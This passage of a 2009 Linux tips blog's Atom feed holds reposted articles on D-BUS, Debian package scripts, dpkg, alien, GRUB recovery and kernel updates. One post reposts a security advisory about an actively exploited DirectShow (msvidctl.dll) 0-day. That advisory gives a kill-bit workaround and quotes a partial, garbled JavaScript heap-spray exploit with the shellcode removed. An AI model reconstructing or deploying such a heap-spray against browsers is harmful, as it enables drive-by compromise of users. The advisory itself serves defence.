href=&quot;http://www.ibm.com/developerworks/webservices/library/co-xpcom5.html&quot;&gt;Bridging XPCOM/Bonobo: Implementation&lt;/a&gt; (developerWorks, May 2001) discuss concepts and techniques required for bridging two component architectures so that the components from one architecture can be used in another environment.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;                     &lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/l-dcop/&quot;&gt;Connect KDE applications using DCOP&lt;/a&gt; (developerWorks, February 2004) introduces KDE&#39;s inter-process communication protocol and how to script it.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;                     &lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/l-rt5/&quot;&gt;Synchronizing processes and threads&lt;/a&gt; (developerWorks, October 2001) looks at inter-process synchronization primitives as a way to control two processes&#39; access to the same resource.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;                     &lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/co-cjct6/&quot;&gt;CORBA Component Model (CCM)&lt;/a&gt; outlines the CORBA specification and CORBA interoperability with other component models.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Find more resources for Linux developers in the &lt;a href=&quot;http://www.ibm.com/developerworks/linux/&quot;&gt;developerWorks Linux zone&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;                     &lt;a href=&quot;http://www.ibm.com/developerworks/apps/SendTo?bookstore=safari&quot;&gt;Browse for books&lt;/a&gt; on these and other technical topics.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Download no-charge trial versions of selected developerWorks Subscription products that run on Linux, including WebSphere Studio Site Developer, WebSphere SDK for Web services, WebSphere Application Server, DB2 Universal Database Personal Developers Edition, Tivoli Access Manager, and Lotus Domino Server, from the &lt;a href=&quot;http://www.ibm.com/developerworks/offers/linux-speed-start/&quot;&gt;Speed-start your Linux app&lt;/a&gt; section of developerWorks. For an even speedier start, help yourself to a product-by-product collection of how-to articles and tech support.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;a name=&quot;author&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;About the author&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;ibm-container ibm-portrait-module ibm-alternate-two&quot;&gt;&lt;div class=&quot;ibm-container-body&quot;&gt;&lt;p&gt;&lt;a name=&quot;author1&quot;&gt;&lt;/a&gt;Ross Burton is an average computer science graduate who by day codes Java and embedded systems. By night, to get away from the horrors, he prefers Python, C, and GTK+. You can contact Ross at &lt;a href=&quot;mailto:r.burton@180sw.com?cc=tomyoung@us.ibm.com&quot;&gt;r.burton@180sw.com&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/3460721604177999358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/3460721604177999358' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/3460721604177999358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/3460721604177999358'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/08/connect-desktop-apps-using-d-bus.html' title='Connect desktop apps using D-BUS'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-2920563544955721626</id><published>2009-07-11T09:16:00.000-07:00</published><updated>2009-07-11T09:19:07.172-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Three scripts for package management on Debian and Ubuntu systems"/><title type='text'>Three scripts for package management on Debian and Ubuntu systems</title><content type='html'>&lt;div class=&quot;xar-clearleft&quot;&gt;                       &lt;p&gt;Five of the top 10 most downloaded distributions on Distrowatch use the Debian package system. It has developed a rich infrastructure of utilities -- not just the core commands apt-get and dpkg, but also such less well-known commands as apt-cache, apt-spy, and apt-listbugs. In addition, an array of other scripts, some mashups of existing utilities, and some original, are regularly available on sites like &lt;a href=&quot;http://www.opendesktop.org/&quot;&gt;openDesktop.org&lt;/a&gt;. Such scripts help to streamline the process of keeping a Debian-based package system in working order, and provide information to help you make better decisions about software installation.&lt;/p&gt;                  &lt;/div&gt;             &lt;div id=&quot;featurecontent&quot; class=&quot;xar-align-left&quot;&gt;                       &lt;p&gt;These scripts join a host of graphical front ends to apt-get and GUI tools for searching package repositories. However, because efficient package management is still done at the command line, they have a relevance that many command lines tools lack today. Some are simple, some are specific to one distribution (usually Ubuntu), and you might need to modify them before they suit your needs. However, all can be surprisingly useful if you believe in making hands-on decisions about the contents of your system instead of relying on the update applet in your notification tray. Here are three excellent examples.&lt;/p&gt;  &lt;h4&gt;Apt-utility&lt;/h4&gt;  &lt;p&gt;&lt;a href=&quot;http://www.opendesktop.org/content/show.php/APT+utility?content=91158&quot;&gt;Apt-utility&lt;/a&gt; is a simple bash script designed for those who like to keep their systems constantly up to date, and would prefer not to enter the commands one at a time.&lt;/p&gt;  &lt;p&gt;Unfortunately, the script is a little muddled in the apt-get commands that it issues. It begins, reasonably enough, by using &lt;code&gt;apt-get update&lt;/code&gt; to make sure that the package repositories are current. However, it then runs &lt;code&gt;apt-get upgrade&lt;/code&gt;, followed immediately by &lt;code&gt;apt-get dist-upgrade&lt;/code&gt; -- which is a redundancy, since dist-upgrade does everything that upgrade does, as well as handling the dependencies in new versions of packages. Then it runs &lt;code&gt;apt-get clean&lt;/code&gt;, followed by &lt;code&gt;apt-get autoclean&lt;/code&gt;, leaving autoclean with nothing to do, since clean has already cleared out the /var/cache/apt/archives directory. The script ends with &lt;code&gt;apt-get autoremove&lt;/code&gt; to remove packages that were installed as dependencies for packages that are no longer on the system.&lt;/p&gt;  &lt;p&gt;You can fix those issues with a little judicious editing. While you are removing &lt;code&gt;apt-get upgrade&lt;/code&gt; and &lt;code&gt;apt-get autoclean&lt;/code&gt; from the script, you can also remove &lt;code&gt;sudo&lt;/code&gt; from the start of every line of the script if you are not using the sudo command to access the root account (by default, Debian does not use sudo, while Ubuntu does).&lt;/p&gt;  &lt;p&gt;You should also be check which repositories are enabled in /etc/apt/sources.list before you use this script or your own version of it. Used with the stable or even the testing repositories of Debian, Apt-utility should be safe, but automated updates with the unstable or experimental repositories enabled could result in broken dependencies and, in extreme cases, even major system problems.&lt;/p&gt;  &lt;h4&gt;Ubucleaner&lt;/h4&gt;  &lt;p&gt;Although it&#39;s intended primarily for Ubuntu, &lt;a href=&quot;http://www.opendesktop.org/content/show.php/Ubucleaner?content=71529&quot;&gt;Ubucleaner&lt;/a&gt; is a grab-bag script that works -- mostly -- with other Debian-based distributions as well. The script cleans the apt-cache, removes the configuration files for removed packages, removes all kernels except the present one, and empties the trash for every user on the system. The kernel removal function works only with Ubuntu kernels.&lt;/p&gt;  &lt;p&gt;All these tasks have in common is that they remove extra files from the system, so you might want to edit the script or comment out sections that you don&#39;t want. In particular, considering that a backup kernel may be useful if tinkering disables your current one, you might want to disable the kernel removal feature -- as well as the &quot;Removing old kernels&quot; message, so you don&#39;t have a heart attack when you run the script.&lt;/p&gt;  &lt;p&gt;The script assumes that you are using the text-based Aptitude application, rather than apt-get and dpkg. If you are not using Aptitude, you should also replace the reference to &lt;code&gt;aptitude clean&lt;/code&gt; with &lt;code&gt;apt-get clean&lt;/code&gt; and the reference to &lt;code&gt;aptitude purge&lt;/code&gt; to &lt;code&gt;dpkg --purge&lt;/code&gt;.&lt;/p&gt;  &lt;h4&gt;daptup&lt;/h4&gt;  &lt;p&gt;Like Ubucleaner, &lt;a href=&quot;http://www.opendesktop.org/content/show.php/daptup?content=81025&quot;&gt;daptup&lt;/a&gt; is intended for use with Aptitude. However, it is far safer than Ubucleaner, since it is purely informational, building for Debian-derived distributions lists of new packages, upgradeable packages, watched packages, and outdated packages that have upgrades available. You can use these lists to plan your software upgrades.&lt;/p&gt;  &lt;p&gt;You can configure the content of these lists by editing the file /etc/daptup.conf. Here you can set such criteria as how many days old a package should be before it is listed as outdated, what packages on your system to watch, and what packages to watch that are uninstalled. You might, for instance, want to keep checking on whether the latest version of OpenOffice.org has arrived in a repository, or to wait until Gnash reaches its 1.0 release before you install it. The configuration file is heavily commented and includes examples, so you should have little trouble setting daptup to run exactly as you want.&lt;/p&gt;  &lt;p&gt;If you do not automatically upgrade, or if you know that a large number of packages has recently flooded into the repositories you use, you might want to run daptup piped into either the less or more command (for instance, &lt;code&gt;daptup | less&lt;/code&gt;); otherwise, the lists could easily be longer than your display buffer, so that the first entries disappear before the last one is visible. Alternatively, you might comment out some of the lists in /etc/daptup.conf, or change the number of lines in the display buffer in your terminal program&#39;s configuration settings.&lt;/p&gt;  &lt;h4&gt;Conclusion&lt;/h4&gt;  &lt;p&gt;There are many other scripts out on the Internet for Debian-based package management. For instance, &lt;a href=&quot;http://www.cli-apps.org/content/show.php/UnusedPkg?content=79095&quot;&gt;UnusedPkg&lt;/a&gt; lists programs on the system that are not used and therefore might be removable, but the download is apparently no longer available. And for more advanced users who want to examine and compare dpkg status files, the awk script &lt;a href=&quot;http://www.opendesktop.org/content/show.php/dpkg-diff?content=88189&quot;&gt;dpkg-diff&lt;/a&gt; might come in handy.&lt;/p&gt;  &lt;p&gt;All these scripts help you gain more information about your system, and most are easy to modify even if you know little about any form of scripting. If you keep an eye on sites like openDesktop.org that list new applications, chances are that you will have no trouble finding utilities that allow you to make more intelligent decisions about the software you are running.&lt;/p&gt;&lt;/div&gt;                     &lt;div class=&quot;xar-align-left&quot;&gt;                     &lt;em&gt;Bruce Byfield is a computer journalist who writes regularly for Linux.com.&lt;/em&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/2920563544955721626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/2920563544955721626' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2920563544955721626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2920563544955721626'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/07/three-scripts-for-package-management-on.html' title='Three scripts for package management on Debian and Ubuntu systems'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-4172901365969249922</id><published>2009-07-11T09:01:00.000-07:00</published><updated>2009-07-11T09:02:48.722-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dpkg tricks for Ubuntu / debian"/><title type='text'>dpkg tricks for Ubuntu / debian</title><content type='html'>&lt;span class=&quot;post-author vcard&quot;&gt;Posted by &lt;span class=&quot;fn&quot;&gt;Fermi Level&lt;/span&gt;  ( &lt;/span&gt;http://unixlab.blogspot.com)&lt;br /&gt;&lt;br /&gt;In Debian GNU/Linux and its derivatives such as Ubuntu the software packages are bundled in a special format. We generally call them deb packages. A .deb package is basically&lt;br /&gt;an archive of files that you want to install to your computer, plus some header and control&lt;br /&gt;information that identifies the software. The deb files can be manipulated with dpkg command. Here are some common dpkg tricks that you can use in every day life on the Ubuntu/Debian systems.&lt;br /&gt;Let us first get a debian package from Internet. I am using Ubuntu 9.04 for this tutorial and will be using aspell as a demo package. Download aspell from the &lt;a href=&quot;http://mirrors.kernel.org/ubuntu/pool/main/a/aspell/aspell_0.60.6-1_i386.deb&quot;&gt;Jaunty repositor&lt;/a&gt;y.&lt;br /&gt;&lt;br /&gt;Installing a package manually.&lt;br /&gt;&lt;br /&gt;# dpkg -i aspell_0.60.6-1_i386.deb&lt;br /&gt;&lt;br /&gt;Removing the package&lt;br /&gt;&lt;br /&gt;# dpkg -r aspell&lt;br /&gt;&lt;br /&gt;#dpkg -P aspell   ( Removes everything including config files.)&lt;br /&gt;&lt;br /&gt;Now Let us explore the contents of a deb package.&lt;br /&gt;&lt;br /&gt;Make a temporary directory.&lt;br /&gt;&lt;br /&gt;#mkdir aspell_tmp&lt;br /&gt;Extract the deb to the aspell_tmp directory.&lt;br /&gt;&lt;br /&gt;#  dpkg   -x  aspell_0.60.6-1_i386.deb  aspell_tmp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can see the package contents.&lt;br /&gt;( Try  ls -lR aspell_tmp)&lt;br /&gt;&lt;br /&gt;The control information alone can be extrcted using -e flag instead of -x.&lt;br /&gt;Or you can list the contents of a deb package as below.&lt;br /&gt;# dpkg -c aspell_0.60.6-1_i386.deb&lt;br /&gt;&lt;br /&gt;You can get details about the package with&lt;br /&gt;&lt;br /&gt;#dpkg -p aspell&lt;br /&gt;#dpkg -s aspell&lt;br /&gt;&lt;br /&gt;If you find a strange file on your system you can check if it belongs to any package. Let us check the file /usr/share/man/man1/aspell.1.gz ( man page of aspell)&lt;br /&gt;$  dpkg -S /usr/share/man/man1/aspell.1.gz&lt;br /&gt; aspell: /usr/share/man/man1/aspell.1.gz&lt;br /&gt;&lt;br /&gt;To see the installed files belonging to  aspell try this&lt;br /&gt;# dpkg -L aspell&lt;br /&gt;&lt;br /&gt;If the package is not removed completely, you may see some configuration files left over.</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/4172901365969249922/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/4172901365969249922' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4172901365969249922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4172901365969249922'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/07/dpkg-tricks-for-ubuntu-debian.html' title='dpkg tricks for Ubuntu / debian'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-2087379185384404316</id><published>2009-07-08T18:39:00.000-07:00</published><updated>2009-07-08T18:40:22.980-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chuyển qua lại các dạng file cài của Linux(deb"/><category scheme="http://www.blogger.com/atom/ns#" term="pkg...)."/><category scheme="http://www.blogger.com/atom/ns#" term="rpm"/><title type='text'>Chuyển qua lại các dạng file cài của Linux(deb, rpm, pkg...).</title><content type='html'>Để chuyển qua lại giữa các dạng file bạn cd đến thư mục cần chuyển đổi gõ alien [options] file [...]&lt;br /&gt;&lt;br /&gt;  file [...]                Package file or files to convert.&lt;br /&gt;  -d, --to-deb              Generate a Debian deb package (default).&lt;br /&gt;     Enables these options:&lt;br /&gt;       --patch=&lt;patch&gt;      Specify patch file to use instead of automatically&lt;br /&gt;                            looking for patch in /var/lib/alien.&lt;br /&gt;       --nopatch            Do not use patches.&lt;br /&gt;       --anypatch           Use even old version os patches.&lt;br /&gt;       -s, --single         Like --generate, but do not create .orig&lt;br /&gt;                            directory.&lt;br /&gt;       --fixperms           Munge/fix permissions and owners.&lt;br /&gt;       --test               Test generated packages with lintian.&lt;br /&gt;  -r, --to-rpm              Generate a Red Hat rpm package.&lt;br /&gt;      --to-slp              Generate a Stampede slp package.&lt;br /&gt;  -l, --to-lsb              Generate a LSB package.&lt;br /&gt;  -t, --to-tgz              Generate a Slackware tgz package.&lt;br /&gt;     Enables these options:&lt;br /&gt;       --description=&lt;desc&gt; Specify package description.&lt;br /&gt;       --version=&lt;version&gt;  Specify package version.&lt;br /&gt;  -p, --to-pkg              Generate a Solaris pkg package.&lt;br /&gt;  -i, --install             Install generated package.&lt;br /&gt;  -g, --generate            Generate build tree, but do not build package.&lt;br /&gt;  -c, --scripts             Include scripts in package.&lt;br /&gt;  -v, --verbose             Display each command alien runs.&lt;br /&gt;      --veryverbose         Be verbose, and also display output of run commands.&lt;br /&gt;  -k, --keep-version        Do not change version of generated package.&lt;br /&gt;      --bump=number         Increment package version by this number.&lt;br /&gt;  -h, --help                Display this help message.&lt;br /&gt;  -V, --version             Display alien&#39;s version number.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Ví dụ, mình vừa thử convert file pidgin-groupmsg_2.2.0-2_i386.deb sang pidgin-groupmsg_2.2.0-2_i386.rpm, mình gõ&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;quoteheader&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: bold; font-style: italic;&quot; class=&quot;quote&quot;&gt;alien -r pidgin-groupmsg_2.2.0-2_i386.deb&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/2087379185384404316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/2087379185384404316' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2087379185384404316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2087379185384404316'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/07/chuyen-qua-lai-cac-dang-file-cai-cua.html' title='Chuyển qua lại các dạng file cài của Linux(deb, rpm, pkg...).'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-5946138043542269765</id><published>2009-07-08T08:52:00.000-07:00</published><updated>2009-07-08T08:53:39.704-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="0-day in Microsoft DirectShow (msvidctl.dll) used in drive-by attacks"/><title type='text'>0-day in Microsoft DirectShow (msvidctl.dll) used in drive-by attacks</title><content type='html'>Published: 2009-07-06,&lt;br /&gt;Last Updated: 2009-07-07 14:08:53 UTC&lt;br /&gt;by Stephen Hall (Version: 2)&lt;br /&gt;&lt;br /&gt;&lt;p&gt;A 0-day exploit within the msVidCtl component of Microsoft DirectShow is actively being exploited through drive-by attacks using thousands of newly compromised web sites, according to &lt;a href=&quot;http://www.csis.dk/dk/nyheder/nyheder.asp?tekstID=799&quot;&gt;CSIS&lt;/a&gt;. The code has been published in the public domain via a number of Chinese web sites.&lt;/p&gt; &lt;p&gt;Please keep a watchful eye on your AV and IDS/IPS vendors updates to ensure coverage as early as possible on this exploit as it is likely to be widely deployed with the code being available.&lt;/p&gt; &lt;p&gt;A valid work around for the attack vector is available which set&#39;s the kill bit on the vulnerable DLL.&lt;/p&gt; &lt;p&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility{0955AC62-BF2E-4CBA-A2B9-A63F772D46CF}]&lt;br /&gt;&quot;Compatibility Flags&quot;=dword:00000400 &lt;/p&gt; &lt;p&gt;Details of the exploit are available on the CSIS web site, but are included below:&lt;/p&gt; &lt;p&gt;&lt;br /&gt;var appllaa=&#39;0&#39;;&lt;br /&gt;&lt;br /&gt;var nndx=&#39;%&#39;+&#39;u9&#39;+&#39;0&#39;+&#39;9&#39;+&#39;0&#39;+&#39;%u&#39;+&#39;9&#39;+&#39;0&#39;+&#39;9&#39;+appllaa;&lt;br /&gt;&lt;br /&gt;[SHELL CODE REMOVED]&lt;br /&gt;&lt;br /&gt;var headersize=20;&lt;br /&gt;&lt;br /&gt;var omybro=unescape(nndx);&lt;br /&gt;&lt;br /&gt;var slackspace=headersize+dashell.length;&lt;br /&gt;&lt;br /&gt;while(omybro.length&lt;slackspace) bzmybr=&quot;omybro.substring(0,slackspace);&quot; shuishimvp=&quot;omybro.substring(0,omybro.length-slackspace);&quot; slackspace=&quot;&quot;&gt;&lt;0x30000) shuishimvp=&quot;shuishiMVP+shuishiMVP+bZmybr;&quot; memory=&quot;new&quot; x=&quot;0;x&lt;300;x++)&quot; myobject=&quot;document.createElement(&#39;object&#39;);&quot; width=&quot;&#39;1&#39;;&quot; height=&quot;&#39;1&#39;;&quot; data=&quot;&#39;./logo.gif&#39;;&quot; classid=&quot;&#39;clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF&#39;;&lt;/slackspace)&quot;&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;span style=&quot;background-color: rgb(255, 255, 0);&quot;&gt;UPDATE July 6, 2009 19:00 UTC&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Microsoft have released an advisory for the exploit, it can be found here :&lt;br /&gt;&lt;a href=&quot;http://www.microsoft.com/technet/security/advisory/972890.mspx&quot;&gt;http://www.microsoft.com/technet/security/advisory/972890.mspx&lt;/a&gt;&lt;/p&gt; &lt;p&gt;In addition, they have published a number of blog entries to cover their user base:&lt;br /&gt;&lt;a href=&quot;http://blogs.technet.com/msrc/default.aspx&quot;&gt;http://blogs.technet.com/msrc/default.aspx&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.microsoft.com/technet/security/advisory/default.mspx&quot;&gt;http://www.microsoft.com/technet/security/advisory/default.mspx&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://blogs.technet.com/srd/&quot;&gt;http://blogs.technet.com/srd/&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/5946138043542269765/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/5946138043542269765' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/5946138043542269765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/5946138043542269765'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/07/0-day-in-microsoft-directshow.html' title='0-day in Microsoft DirectShow (msvidctl.dll) used in drive-by attacks'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-9111143378496605728</id><published>2009-07-03T18:33:00.000-07:00</published><updated>2009-07-03T18:37:08.165-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Some ways to restore Grub"/><title type='text'>Some ways to restore Grub</title><content type='html'>First :&lt;br /&gt;1. Pop in the Live CD, boot from it until you reach the desktop.&lt;br /&gt;2. Open a terminal window or switch to a tty.&lt;br /&gt;3. Type &quot;grub&quot;&lt;br /&gt;4. Type &quot;root (hd0,6)&quot;, or whatever your harddisk + boot partition numbers are (my /boot is at /dev/sda7, which translates to hd0,6 for grub).&lt;br /&gt;5. Type &quot;setup (hd0)&quot;, ot whatever your harddisk nr is.&lt;br /&gt;6. Quit grub by typing &quot;quit&quot;.&lt;br /&gt;7. Reboot.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or&lt;br /&gt;&lt;br /&gt;1. Boot your computer up with Ubunto CD&lt;br /&gt;2. Go through all the process until you reech &quot;[!!!] Disk Partition&quot;&lt;br /&gt;3. Select Manual Partition&lt;br /&gt;4. Mount your appropriate linux partions&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;/boot&lt;br /&gt;swap&lt;br /&gt;.....&lt;br /&gt;&lt;br /&gt;5. DO NOT FORMAT THEM.&lt;br /&gt;6. Finish the manual partition&lt;br /&gt;7. Say &quot;Yes&quot; when it asks you to save the changes&lt;br /&gt;8. It will give you errors saying that &quot;the system couldn&#39;t install .....&quot; after that&lt;br /&gt;9. Ignore them, keep select &quot;continue&quot; until you get back to the Ubuntu installation menu&lt;br /&gt;10. Jump to &quot;Install Grub ....&quot;&lt;br /&gt;11. Once it is finished, just restart your computer</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/9111143378496605728/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/9111143378496605728' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/9111143378496605728'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/9111143378496605728'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/07/some-ways-to-restore-grub.html' title='Some ways to restore Grub'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-2109117349706767043</id><published>2009-06-30T01:05:00.000-07:00</published><updated>2009-06-30T01:06:51.756-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="How to update the custom compiled kernel to a new release using git"/><title type='text'>How to update the custom compiled kernel to a new release using git</title><content type='html'>&lt;p&gt;In a previous article I addressed &lt;a title=&quot;How to compile a custom kernel for Ubuntu Intrepid using git&quot; href=&quot;http://blog.avirtualhome.com/2008/10/28/how-to-compile-a-custom-kernel-for-ubuntu-intrepid-using-git/&quot; target=&quot;_self&quot;&gt;how to compile a kernel for Ubuntu Intrepid using git&lt;/a&gt; and in a follow up article I explained &lt;a title=&quot;How to compile a new release of the Ubuntu Intrepid Kernel using git&quot; href=&quot;http://blog.avirtualhome.com/2008/10/31/compiling-a-new-release-of-the-ubuntu-intrepid-kernel-using-git/&quot; target=&quot;_self&quot;&gt;how to compile a new release &lt;/a&gt;if you already compiled your own custom kernel using &lt;a href=&quot;http://git.or.cz/&quot; onclick=&quot;javascript:pageTracker._trackPageview(&#39;/outbound/article/http://git.or.cz/&#39;);&quot; class=&quot;kblinker&quot; target=&quot;_blank&quot; title=&quot;More about git »&quot;&gt;git&lt;/a&gt;.  The upgrade article was written if the kernel upgrade was one where the only ABI number changed was the last one.&lt;br /&gt;In this article I’ll explain how you can update your previously compiled custom kernel to a newer version, if you used git. This article won’t touch an upgrade of kernel 2.6.27 to 2.6.28.&lt;/p&gt; &lt;p&gt;Updates:&lt;br /&gt;Jan 9, 2009: Added git add to the “commit your changes” section.&lt;br /&gt;&lt;span id=&quot;more-335&quot;&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;The base of this article is that you already compiled a your own kernel with git using my previous &lt;a title=&quot;Compile a custom kernel for Ubuntu using git&quot; href=&quot;http://blog.avirtualhome.com/2008/10/28/how-to-compile-a-custom-kernel-for-ubuntu-intrepid-using-git/&quot; target=&quot;_self&quot;&gt;article&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;A lot of the steps are similar to my previous article but there are a few extra steps and liek I mentioned earlier I also explain how to handle the situation where the Ubuntu git repository is already in the next development cycle.&lt;/p&gt; &lt;p&gt;On October 31st, 2008 I have a made a few changes in the article, Compiling a custom kernel for Ubuntu Intrepid using git, to help compiling an upgrade of the kernel a bit easier. If you compiled a kernel prior to this you need to follow the steps in &lt;strong&gt;Preparing manual upgrade&lt;/strong&gt; otherwise you can skip this step and go straight to &lt;strong&gt;Upgrading the source&lt;/strong&gt;. If you read this article to update your 